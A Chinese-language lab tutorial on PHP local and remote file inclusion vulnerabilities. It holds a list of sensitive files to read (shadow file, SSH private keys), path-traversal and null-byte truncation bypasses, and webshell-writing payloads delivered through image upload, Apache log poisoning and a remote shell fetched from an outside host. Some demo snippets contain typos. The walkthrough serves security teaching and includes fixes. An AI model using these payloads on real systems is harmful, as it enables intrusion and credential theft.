我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

    • 一、文件包含漏洞详解
      • 1、文件包含漏洞相关概念
      • 2、PHP文件包含漏洞相关概念
      • 3、PHP文件包含漏洞利用:`构造payload`
      • 4、PHP文件包含漏洞利用:`读取铭感文件`
      • 5、PHP文件包含漏洞利用:`简单的目录遍历绕过+截断绕过`
        • (1)实验环境:
        • (2)靶机链接:
        • (3)漏洞描述:
        • (4)漏洞分析:
        • (5)漏洞测试:
        • (6)漏洞利用:
        • (7)漏洞修复:
        • (8)漏洞总结:
      • 6、PHP文件包含漏洞利用:`文件上传+文件包含-getshell`
        • (1)实验环境:
        • (2)靶机链接:
        • (3)漏洞描述:
        • (4)漏洞分析:
        • (5)漏洞测试:文件上传
        • (6)漏洞测试:文件上传+文件包含+php探针
        • (7)漏洞利用:文件上传+文件包含+getshell
        • (8)漏洞修复:
        • (9)漏洞总结:
      • 7、PHP文件包含漏洞利用:`Apache日志文件包含getshell`
        • (1)实验环境:
        • (2)靶机链接:
        • (3)漏洞描述:
        • (4)漏洞分析:
        • (5)漏洞测试:php探针
        • (6)漏洞利用:getshell
        • (7)漏洞修复:
      • 8、PHP文件包含漏洞利用:`远程文件包含`
        • (1)利用背景:
        • (2)wshell.txt:
        • (3)相关参数:
        • (4)实验环境:
        • (5)漏洞描述:
        • (6)漏洞分析:
        • (7)漏洞测试:
        • (8)漏洞利用:getshell
        • (9)漏洞修复
        • (10)漏洞总结
  • 祝大家新年快乐啊!!!!

一、文件包含漏洞详解

1、文件包含漏洞相关概念

(1)文件包含英文:file inclusion。

(2)文件包含漏洞概述:在Web Application运行的过程中,可以动态引入文件的内容的行文称为文件包含,若对变量没有进行有意的过滤防护,就很容易产生漏洞。

(3)文件包含漏洞背景:程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这其中文件调用的过程一般被称为文件包含。只是这样的话也不会构成文件包含漏洞。但是同时,程序开发人员一般希望代码更加灵活,所以将被包含的文件设置为变量,用来进行动态调用,正是由于这种灵活性,从而导致客户端可以读取任意文件执行恶意代码,造成文件包含漏洞。

(4)使用文件包含的相关语言:几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

2、PHP文件包含漏洞相关概念

(1)PHP文件包含的实质:文件包含《==》文件调用《==》文件执行

(2)本地文件包含图示:

(3)远程文件包含图示:

(4)文件包含至关重要的特性:被包含的文件只要是符合php语法规范,任何后缀名的文件都能够被PHP解析并执行。若不符合PHP语法规范,则原样输出。(注意:PHP的注释内容也是符合语法规范的,不过也是不会被解析执行的,所以有些时候需要读取页面源码才能看到注释内容!!!)

(5)PHP文件包含的两个重要参数:

  • allow_url_fopen (是否允许打开远程文件)参数,默认是开启的。
  • allow_url_include=On(是否允许包含远程文件)参数,默认是关闭的。
  • 注意:以上两个参数对包含本地文件没有影响!!!

(6)PHP文件包含函数

  • include()函数:找不到被包含文件时会产生警告(E_WARNING),但不会中断执行PHP脚本;
  • include_once()函数:与include()函数类型,代码已经被包含则不会再次包含;
  • requre()函数:找不到被包含文件时会产生致命错误(E_COMPILE_ERROR),从而中断执行PHP脚本;
  • require_once()函数:与require()函数类似,代码已经被包含则不会再次包含。

(7)PHP文件包含示例1:

array.php:存放一个经常使用的打印数组的函数

<?php//一个用来打印数组的函数function PrintArr($arr,$p="-->",$lin="<br/>"){foreach($arr as $key => $value){echo "$key $p $value $lin";}}
?>

demo1.php:用来动态包含调用打印数组函数的文件

<?php//error_reporting("0");include($_GET['file']);$arr = array("test","test2","test3");PrintArr($arr);
?>

(8)PHP文件包含示例2:

phpinfo.txt:存放php探针函数

<?php phpinfo();?>

demo2.php:用来动态的调用php探针

<?php include("$_GET['file']");?>

分别修改phpinfo.txt的扩展名为:rar、jpg、qwsn等等发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析执行。

(9)远程文件包含示例:127.0.0.1本地模拟

hello.txt:打印输出hello world!!!

<?php echo "hello world!!!";?>

demo3.php:用来动态的调用hello.txt的echo动作

<?php include($_GET['file'];?>

3、PHP文件包含漏洞利用:构造payload

(1)正常访问页面逻辑:

  • 访问1.html:内含很多的a标签
<html>
<head><meta http-equiv= "Content-Type" content= "text/html; charset=utf-8" />
</head><body><a href="index.php?page=main.php">主页</a><br /><a href="index.php?page=news.php">新闻</a><br /><a href="index.php?page=down.php">下载</a><br />
</body>
</html>
  • 点击标签后,会跳转到index.php页面内包含的很多页面,比如main.php、news.php、down.php

index.php:

<?php error_reporting('0');include($_GET['page']);
?>

main.php:

<?php
header( "content-type:text/html;charset=utf-8" );
?>
<html>
<h1>主页</h1>
</html>

news.php:

<?php
header( "content-type:text/html;charset=utf-8" );
?>
<html>
<h1>新闻</h1>
</html>

down.php:

<?php
header( "content-type:text/html;charset=utf-8" );
?>
<html>
<h1>下载</h1>
</html>
  • 跳转到包含文件news.php



(2)攻击者思路:

  • 由以上的内容,可以得出一个简单的payload:http://www.exploit.cool/demo/include_demo/normal_access/index.php?page=xxxxxxxxxx.php
  • 很明显这个xxx.php可以替换为任意想要且可读的文件,从而导致任意文件读取漏洞,或包含一个我们上传了的的恶意脚本造成任意代码执行漏洞,当然了如果开启了allow_url_include参数开关,那么就可以远程文件包含我们的恶意脚本了。(这里要说明以下,allow_url_fopen是默认开启的,我们就当做它开启了,毕竟allow_url_include是允许远程文件包含,而allow_url_fopen是允许打开远程文件,二者缺一不可!!!)

4、PHP文件包含漏洞利用:读取铭感文件

(1)Windows敏感文件

c:\boot.ini                                  // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml    // IIS配置文件
c:\windows\repair\sam                       // 存储Windows系统初次安装的密码
c:\Program Files\mysql\my,ini               // MySQL配置
c:\Program Files\mysql\data\mysql\user.MYD  // MySQL root
c:\windows\php.ini                          // php 配置信息
c:\windows\my.ini                           // MySQL 配置文件
c:\Windows\System32\drivers\etc\hosts       // 本地的域名静态映射

(2)Linux敏感文件

/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/apache/php/php.ini
/bin/php.ini
/etc/anacrontab
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/at.allow
/etc/at.deny
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/fstab
/etc/host.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/etc/httpd/htdocs/index.php
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/ld.so.conf
/etc/motd
/etc/my.cnf                                 // mysql配置文件
/etc/mysql/my.cnf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/passwd                                 // 用户信息
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/etc/resolv.conf
/etc/shadow
/etc/ssh/sshd_config
/etc/ssh/sshd_config
/etc/ssh/ssh_config
/etc/ssh/ssh_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key.pub
/etc/ssh/ssh_host_rsa_key.pub
/etc/sysconfig/network
/etc/sysconfig/network
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/home/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/NetServer/bin/stable/apache/php.ini
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.html
/opt/www/htdocs/index.php
/opt/xampp/etc/php.ini
/PHP/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/root/.atftp_history
/root/.bashrc
/root/.bash_history
/root/.mysql_history
/root/.nano_history
/root/.php_history
/root/.profile
/root/.ssh/authorized_keys
/root/.ssh/identity
/root/.ssh/identity.pub
/root/.ssh/id_dsa
/root/.ssh/id_dsa.pub
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/anaconda-ks.cfg
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error_logerror_log.old
/usr/local/apache2/conf/httpd.conf          // apache2配置文件
/usr/local/apache2/conf/php.ini
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/php.ini
/usr/local/httpd/conf/httpd.conf
/usr/local/httpd2.2/htdocs/index.html
/usr/local/httpd2.2/htdocs/index.php
/usr/local/lib/php.ini
/usr/local/mysql/bin/mysql
/usr/local/mysql/my.cnf
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/lib/php.ini                 // php5配置文件
/usr/local/php5/php5.ini
/usr/local/share/examples/php/php.ini
/usr/local/share/examples/php4/php.ini
/usr/local/tomcat5527/bin/version.sh
/usr/local/Zend/etc/php.ini
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
/var/apache2/config.inc
/var/httpd/conf/httpd.conf                  // apache配置文件
/var/httpd/conf/php.ini
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.html
/var/httpd/htdocs/index.php
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/httpd.conf
/var/local/www/conf/php.ini
/var/log/access.log
/var/log/access_log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/error.log
/var/log/error_log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql-slow.log
/var/log/mysql/mysql.log
/var/log/mysqlderror.log
/var/mail/root
/var/mysql.log
/var/spool/cron/crontabs/root
/var/spool/mail/root
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/www/htdocs/index.php
/var/www/index.html
/var/www/index.php
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/web/conf/php.ini
/www/conf/httpd.conf
/www/htdocs/index.html
/www/htdocs/index.php
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
root/.ssh/authorized_keys
root/.ssh/identity
root/.ssh/identity.pub
root/.ssh/id_dsa
root/.ssh/id_dsa.pub
root/.ssh/id_rsa
root/.ssh/id_rsa.pub

5、PHP文件包含漏洞利用:简单的目录遍历绕过+截断绕过

(1)实验环境:

1.靶机环境:
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关allow_url_fopen=offallow_url_include=offmagic_quotes_gpc=off2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite3.网络环境:
(1)VMware搭建的NAT网络

(2)靶机链接:

URL:http://www.include.qwsn/exp/include/include1/include1.php

(3)漏洞描述:

1.使用哪个文件包含函数?
2.以什么方式获取待包含的文件?
2.攻击者对变量是否可控?

(4)漏洞分析:

1.0 漏洞点:include1.php

1.1 关键源码分析:include1.php

<html><h3>Less-1:本地文件包含【包含三个flag值】</h3>
</html>
//第一个关<?phpheader("Content-Type:text/html;charset=utf-8");//页面编码为utf-8,防止页面中文乱码//打印出flag.txt的大致的所在目录结构echo 'flag3.txt/flag2.txt&include1.php/flag1.txt'.'<br />';if(isset($_GET['page'])){ //判断是否读取到了以GET形式传递的page参数的参数值$file = $_GET['page'];//参数值赋值给file变量$file = str_replace( array( "../", "..\"" ), "", $file );//在file变量里面匹配../以及..\,并且替换为空include "./flag1/".$_GET['page'.'.php'];//include()包含参数page的参数值,但是在参数值前面拼接一个目录flag1//同时也在参数值的后面拼接一个.php后缀}else{//若没有接收到GET形式传递的page参数的参数值,则打印tips提示echo "<br />"."Tips: Pleade include page!!!";}
?>
<!--  ./flag1/  --!>
//页面注释内容,提示当前目录下含有【./flag1/】目录

1.2 漏洞分析:

1.使用哪个文件包含函数?
答:include()函数。
2.以什么方式获取待包含的文件?
答:以动态变量引入的方式获取待包含文件。
2.攻击者对变量是否可控?
答:部分可控,需要目录遍历/穿越、截断后缀

(5)漏洞测试:

第一步: 发现文件包含动作

1.0 测试:

1.浏览器访问:http://www.include.qwsn/exp/include/include1/include1.php
//页面回显两个提示:
flag3.txt/flag2.txt&include1.php/flag1.txt
Tips: Pleade include page!!!2.查看页面源码发现了一个注释内容:<!-- ./flag1/ --!>



1.1 分析:

1.页面提示分析:
(1)提示1:【flag3.txt/flag2.txt&include1.php/flag1.txt】
//由于我们现在所在的页面就是include1.php,可以推测出当前目录下还有
一个flag2.txt,父目录下有flag3.txt,而当前目录的某目录下有一个flag1.txt
(2)提示2:【Tips: Pleade include page!!!】
//翻译:【提示:请包含页面!!!】
//很有可能是,以page参数传递一个参数值,再赋值给一个变量,这个动态变量再被include()包含函数,所包含2.源码提示分析:
(1)提示3:【<!-- ./flag1/ --!>】
//提示了,当前目录下有一个flag1目录,结合以上的分析,很大可能
flag1.txt存在于flag1目录下```

1.2 猜想:

猜想1:
$file = $_GET['page'];
include $file;猜想2:
父目录有flag1.txt
当前目录下有flag2.txt和include1.php
当前目录下的flag1目录下有flag1.txt

第二步: 测试是否存在文件包含漏洞【存在】

1.0 测试: 尝试包含当前目录下的flag2.txt,页面会显警告信息:Warning: include(./flag1/flag1.txt.php)

1.1 分析:

我们只是传递了flag2.txt,然而Warning: include(./flag1/flag1.txt.php),那么多
出来的./flag1/以及.php则可能是文件包含函数在包含文件的时候进行了字符串拼接操作

1.2 猜想:

$file = $_GET['page'];
include "./flag1/".$file.".php";

第三步: 测试绕过拼接目录和拼接后缀的方法

1.对于拼接的目录来说我们可以使用../或者..\的方法进行目录遍历或穿越
(1)若../只是被str_replace简单的替换为空,那么可以使用....//或者..././的方式绕过
(2)若..\只是被str_replace简单的替换为空,那么可以使用....\\或者...\.\的方式绕过2.对于拼接的后缀来说,文件包含截断方法有3种情况
(1)第一种是使用%00截断拼接的后缀名,但是php>5.3.4以后就不能使用了,开启了GPC的情况下也是不能使用的。
(2)Windows下使用.或者./的方法填充256次垃圾字符从而使拼接的扩展名溢出,linux下需要使用4096次,因为文件路径有长度限制。
(3)第三种方法是在远程文件包含时通过?来伪截断拼接的后缀名,其效果和%00差不多;除此之外%23和?的效果一致。【?的url编码为%3f】


(6)漏洞利用:

1.0 测试: 利用文件包含漏洞【直接包含读取flag文件】

payload-1:?page=flag1.txt%00
//页面成功回显flag值:flag{flag1}payload-2:?page=....//flag2.txt%00
//页面成功回显flag值:flag{flag2}payload-3:?page=..././..././flag3.txt%00
//页面成功回显flag值:flag{flag3}



(7)漏洞修复:

1.开启gpc:对预定义字符%00进行转义,从而防止截断拼接的后缀!!!
2.升级php版本:大于5.3.4之后的版本,就算关闭了魔术字gpc,%00的截断仍然能无效!!!

1.0 测试: 低版本,开启gpc


1.1 测试: 高版本,关闭gpc

(8)漏洞总结:

1.使用哪个文件包含函数?include()函数2.以什么方式读取待包含文件?以动态变量引入的方式获取待包含文件:include "./flag1/".$_GET['page'].".php";3.攻击者对变量是否可控?部分可控:$_GET['page'],因为在包含的时候进行了目录和后缀拼接4.目录遍历/目录穿越的姿势:../5.一般的目录拼接绕过姿势:..././、....//、...\.\、....\\6.一般的后缀拼接绕过姿势:%00截断、.或./垃圾字符填充、远程?截断7.单纯的本地文件包含,对php的两个参数开关不做要求allow_url_fopen=offallow_url_include=off

6、PHP文件包含漏洞利用:文件上传+文件包含-getshell

(1)实验环境:

1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关allow_url_fopen=offallow_url_include=offmagic_quotes_gpc=on2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite3.网络环境:
(1)VMware搭建的NAT网络

(2)靶机链接:

URL:http://www.include.qwsn/exp/include/include1/include2.php

(3)漏洞描述:

1.使用哪个文件包含函数?
2.以什么方式获取待包含文件?
3.攻击者对变量是否可控?

(4)漏洞分析:

1.0 漏洞点:include2.php

1.1 关键源码分析:include2.php

<?php
//1.文件上传源码:设置了MIME白名单,只让上传图片类型的文件
header("Content-Type:text/html;charset=utf-8");
$uploaddir = 'uploads/';
if (isset($_POST['submit'])){if (file_exists($uploaddir)){if (($_FILES['upfile']['type'] == 'image/gif') || ($_FILES['upfile']['type'] == 'image/jpeg') ||($_FILES['upfile']['type'] == 'image/png') || ($_FILES['upfile']['type'] == 'image/bmp')){if (move_uploaded_file($_FILES['upfile']['tmp_name'],$uploaddir . '/'. $_FILES['upfile']['name'])){echo '文件上传成功,保存于 ' . '  ./' . $uploaddir . $_FILES['upfile']['nane'] . "\n";}}else{echo '文件类型不正确,请重新上传!'   . "\n";} }else{exit($uploaddir . "文件夹不存在,请手工创建!");}
}
?>//2.文件包含源码:文件包含了以动态变量引入的方式获取的待包含文件
<?php
echo "<br />";
if(isset($_GET['page'])){include $_GET['page'];}else{echo "<br />"."Tips: Pleade include page!!!";}
?>

1.2 漏洞分析:

1.文件上传:白名单2.使用哪个文件包含函数?include()函数3.以什么方式获取待包含文件?以动态变量引入的方式获取待包含函数:include $_GET['page']4.攻击者对变量是否可控?变量完全可控:$_GET['page']

(5)漏洞测试:文件上传

1.0 测试: 发现文件上传漏洞

1.浏览器访问:http://192.168.97.200/exp/include/include1/include2.php
//页面回显:发现页面存在文件上传,经过测试该文件上传点的检测机制是MIME的白名单
//虽然我们可以通过结合BP来修改content-type来绕过白名单
//但是我们这里主要练习的是文件上传图片马+文件包含解析图片马,所以这里就不进行BP抓包改包的绕过演示了


1.1 分析:

上一步中的回显内容,还有一个提示:【Tips: Please includepage!!!】
//很明显是通过page来传递参数值,这个参数值应该会被包含函数所包含

1.2 猜想:

if(isset($_GET['page']))include $_GET['page'];

(6)漏洞测试:文件上传+文件包含+php探针

第一步:测试php探针

1.0 测试: 结合文件上传,上传一个info.gif探针,测试是否存在文件包含漏洞【存在】,也就是测试包含解析执行该php探针

1.浏览器访问:http://www.include.qwsn/exp/include/include1/include2.php
2.文件上传info.gif,其内容是<?php phpinfo();?>
3.文件包含该info.gif,其payload为:?page=./uploads/info.gif
//页面成功回显了php探针的信息




1.1 分析:

PHP探针暴露的信息如下:
(1)php配置文件所在位置:C:\phpStudy\PHPTutorial\php\php-5.2.17\php.ini
(2)Apache和php版本信息:Apache 2.4 Handler - Apache LoungeApache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
(3) 靶机的主机名:System  Windows NT QWSN-9527 5.2 build 3790
(4)php参数开关状态:allow_url_fopen = Offallow_url_include = Off
(5)apache配置文件所在目录:C:/phpStudy/PHPTutorial/Apache
(6)网站端口配置:Hostname:Port===》localhost:80
(7)网站根目录:DOCUMENT_ROOT     C:/phpStudy/PHPTutorial/WWW
(8)压缩流支持情况:BZip2 Support   EnabledStream Wrapper support   compress.bz2://Stream Filter support    bzip2.decompress, bzip2.compressBZip2 Version   1.0.2, 30-Dec-2001
(9)数据库端口:mysqli.default_port       3306
(10)session存储位置:C:\phpStudy\PHPTutorial\tmp\tmp

1.2 猜想:

由网站根目录是【C:/phpstudy/phptutorial/www】可以推测出:该网站搭建时候使用的应该是phpstudy2018

(7)漏洞利用:文件上传+文件包含+getshell

1.0 测试: 文件上传一个wshell.gif图片马,然后文件包含该图片马,从而解析执行图片马里面的脚步,从而在当前目录下创建一个shell.php的一句话

1.文件上传wshell.gif,其wshell.gif的内容:
<?php echo 'success!!!';fputs(fopen('shell.php','w'),'<?php phpinfo();eval(\$_POST[123]);?>');?>2.文件包含的payload:?page=./uploads/wshell.gif3.访问生成的shell.php




1.1 蚁剑连接:shell.php

(8)漏洞修复:

1.对文件上传设置后缀白名单。
2.对文件包含进行拼接固定的目录和后缀,同时防止绕过。

(9)漏洞总结:

1.使用哪个文件包含函数?include()函数2.以什么方式获取待包含文件?以动态变量引入的方式获取待包含函数:include $_GET['page']3.攻击者对变量是否可控?变量完全可控:$_GET['page']4.文件上传+文件包含Getshell姿势:若只让上传图片后缀的文件,我们可以上传一个图片马,然后用文件包含来对他进行php的解析执行即可姿势1:上传shell.gif图片马,直接包含,蚁剑连接姿势2:上传Wshell.gif图片马,直接包含写入一个shell.php,蚁剑连接

7、PHP文件包含漏洞利用:Apache日志文件包含getshell

(1)实验环境:

1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关allow_url_fopen=offallow_url_include=offmagic_quotes_gpc=on2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite3.网络环境:
(1)VMware搭建的NAT网络

(2)靶机链接:

URL:http://www.include.qwsn/exp/include/include1/include3.php

(3)漏洞描述:

1.使用哪个文件包含函数?
2.以什么方式获取待包含的文件?
2.攻击者对变量是否可控?

(4)漏洞分析:

1.0 漏洞点: include3.php

1.1 关键源码分析: include3.php

<html><h3>Less-3:Apache日志包含【getshell】</h3>
</html><?phpheader("Content-Type:text/html;charset=utf-8");//防止中文乱码if(isset($_GET['page'])){//验证是否提交了page参数include($_GET['page']); //进行文件包含page参数}else{ //若没有提交page参数,则显示提示内容echo 'Tips1:Please include page!'.'<br />';}
?>
//注释信息:
<!--管理员为了安全把日志放在了1下面--!>

1.2 漏洞分析:

1.使用哪个文件包含函数?include()函数2.以什么方式获取待包含文件?以动态变量引入的方式获取待包含文件:include "$_GET['page']";3.攻击者对变量是否可控?变量完全可控:$_GET['page']

(5)漏洞测试:php探针

第一步:发现文件包含动作【?page=xxx】

1.0 测试

浏览器访问:http://www.include.qwsn/exp/include/include1/include1.php
//页面回显了一个提示信息:【Tips:Please include page!】


1.1 分析

【Tips1:Please include page!】
//很明显是在提示我们进行文件包含

1.2 猜想

if(isset($_GET['page']))include $_GET['page'];

1.3 查看页面源码发现,一条注释:<!–管理员为了安全把日志放在了1下面–!>

第二步:测试文件包含漏洞

1.0 测试:通过page参数,随便传入一个文件名,测试一下

payload:?page=qwsn.txt
//页面回显了包含函数,以及爆出了靶机目录结构

1.1 分析:

1.由于qwsn.txt是我们随便尝试的一个文件,是不存在的一个文件,所以这里出了一个警告信息2.【 include(qwsn.txt) 】
//很明显,我们传入的参数,没有任何的过滤,就直接进行include包含了3.【C:\phpStudy\PHPTutorial\WWW\exp\include\include1\include3.php】
//很明显,我们爆出了靶机的目录结构,并且可以看出靶机是使用phpstudy来搭建的

1.2 猜想

1.由上一步,可以猜想出phpstudy的日志默认存放位置:c:\phpstudy\phptutorial\apache\logs\access.logc:\phpstudy\phptutorial\nginx\logs\access.log2.又因为我们看到注释,发现:【日志被放到了1下面】,所以我们猜想日志位置为:c:\phpstudy\phptutorial\apache\logs\1\access.logc:\phpstudy\phptutorial\nginx\logs\1\access.log3.这里我们还要知道的是,apache和nignx的access.log访问日志对http请求的记录机制。无论访问的资源存在与否,它每次都会一行记录一次http请
求,一行由7个字段组成。从左到右,依次记录的是:【访问者IP、访问者标识、访问者账号信息、时间时区、GET请求内容、状态码、字节数】4.注意1:access.log日志在记录的GET请求内容的时候,它是在浏览器页面渲染后才发送给服务器端的,之后再被记录到日志里面。所以此时若遇到空格、
尖括号等等字符,它会先被url编码后,再被记录到日志里面。5.注意2:若<>等等字符被URL编码,则文件包含后,该代码不能被php成功的解析,所以我们要使用Burpsuite拦截下浏览器的渲染后的请求,我们对GET
请求进行URL解码后,再放通。

1.3 注意,在靶机中Apache默认没有开启access.log日志,因此需要手工开启并设置路径

第三步:测试把php探针写入日志并包含

1.0 测试:根据第二步中的猜想,我们结合BP解码后发送一个带有php探针的GET请求,然后通过日志包含解析执行。

payload:<?php phpinfo();?>
//如下图所示,日志包含成功

抓包

改包

放通

包含日志:

payload:?page=c:\phpstudy\phptutorial\apache\logs\1\access.log


1.1 分析

我们可以把php探针改为一个Shell或Wshell,即可getshell

1.2 注意:

若以上的操作失误,就算下次正确操作,也会文件包含失败,所以需要一次正确。
//但是这无关大雅,因为有些网站就算开启了apache的access.log日志功能,为了防止日志过大导致网站缓存过慢,因此会进行定期删除日志,
//或者一天生成一个以日期为名的日志文件!!!

(6)漏洞利用:getshell

payload-1:<?php eval($_POST[123]);?>payload-2:<?php echo 'success!!!';fputs(fopen('shell.php','w'),'<? php phpinfo();eval(\$_POST[123]);?>');?>payload-3:?page=c:\phpstudy\phptutorial\apache\logs\1\access.log

(7)漏洞修复:

1.关闭Apache的access.log日志记录
2.防止泄露access.log日志的位置

8、PHP文件包含漏洞利用:远程文件包含

(1)利用背景:

没有上传功能,没法上传一句话木马,我们可以远程文件包含自己网站根目录wshell.txt,其功能是:被php解析执行,在当前文件包含漏洞的目录下创建一个shell.php,并且写入一句话木马和phpinfo探针

(2)wshell.txt:

<?php fputs(fopen('shell.php','w'),'<?php eval(\$_POST["123"]);phpinfo();?>')?>

(3)相关参数:

靶机开启了allow_url_fopen(允许读取远程文件)参数,且开启了allow_url_include(允许包含远程文件)参数。

(4)实验环境:

1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关allow_url_fopen=onallow_url_include=onmagic_quotes_gpc=off2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite3.网络环境:
(1)VMware搭建的NAT网络

靶机的hosts文件: C:\WINDOWS\system32\drivers\etc

(5)漏洞描述:

1.使用哪个文件包含函数?
2.以什么方式获取待包含的文件?
2.攻击者对变量是否可控?

(6)漏洞分析:

1.0 漏洞点: include4.php

1.1 关键源码分析: include4.php

<html><h3>Less-4:远程文件包含【getshell】</h3>
</html><?phpheader("Content-Type:text/html;charset=utf-8");//防止中文乱码$file=$_GET['page'];//以GET形式读取浏览器传递的page参数的参数值,并且赋值给$file变量//使用替换函数对$file进行一定的过滤if(isset($file)){$file = str_replace( array( "http://", "https://" ), "", $file );$file = str_replace( array( "../", "..\"" ), "", $file );//include($file);//给被包含的文件拼接后缀include($file . '.html.php');}else{echo "Tips:Pleade include page!!!";}
?>
//注意:提示让我们使用截断绕过拼接的后缀
<!-- 有几种截断方法???? --!>

1.2 漏洞分析

1.使用哪个文件包含函数?include()函数2.以什么方式获取待包含文件?以动态变量引入的方式获取待包含文件:include($file . '.html.php');3.攻击者对变量是否可控?$file = $_GET['page']$file = str_replace( array( "http://", "https://" ), "",$file );$file = str_replace( array( "../", "..\"" ), "", $file );变量不完全可控

(7)漏洞测试:

第一步:发现文件包含动作【?page=xxx】

1.0 测试:

浏览器访问:http://www.include.qwsn/exp/include/include1/include4.php
//页面回显:【Tips:Pleade include page!!!】


1.1 分析

【Tips:Pleade include page!!!】
//很明显,这个是让我们通过page参数进行传递文件名,从而进行文件包含

1.2 猜想

$file = $_GET['page']
if(isset($file))include $file;

1.3 查看当前页面的源码发现:<!-- 有几种截断方法???? --!>

第二步:测试文件包含漏洞是否存在【存在】

1.0 测试:尝试远程文件包含一个php探针

【这里我们使用攻击机搭建WEB远程服务器】

payload:?page=http://www.exploit.cool/info.qwsn
//页面回显: include(www.exploit.cool/info.qwsn.html.php)


1.1 分析

【include(www.exploit.cool/info.qwsn.html.php)】
很明显:http://被置换为空,并且传递的字符串参数最后会拼接.html.php后
缀,我们这里可以尝试复写或大小写绕过http://的置空过滤,同时可以尝试%00截断拼接的后缀

1.2 猜想

$file = $_GET['page']
if(isset($file)){$file = str_replace(array('http://','https://'),'',$file);include($file . '.html.php');
}

1.3 尝试复写http://和%00截断绕过
【注意:若要%00生效,需要关闭一个php参数:magic_quotes_gpc=off】

payload:?page=hthttp://tp://www.exploit.cool/info.qwsn%00
//页面回显:php探针成功被解析


1.4 尝试大写http://和%23绕过

1.5 尝试大小写http://和%3f绕过:

【%3f就是?的url编码】

(8)漏洞利用:getshell

第一步:我们可以直接远程包含一个Shell,蚁剑连接该包含链接即可getshell

payload:?page=hthttp://tp://www.exploit.cool/shell.qwsn%00



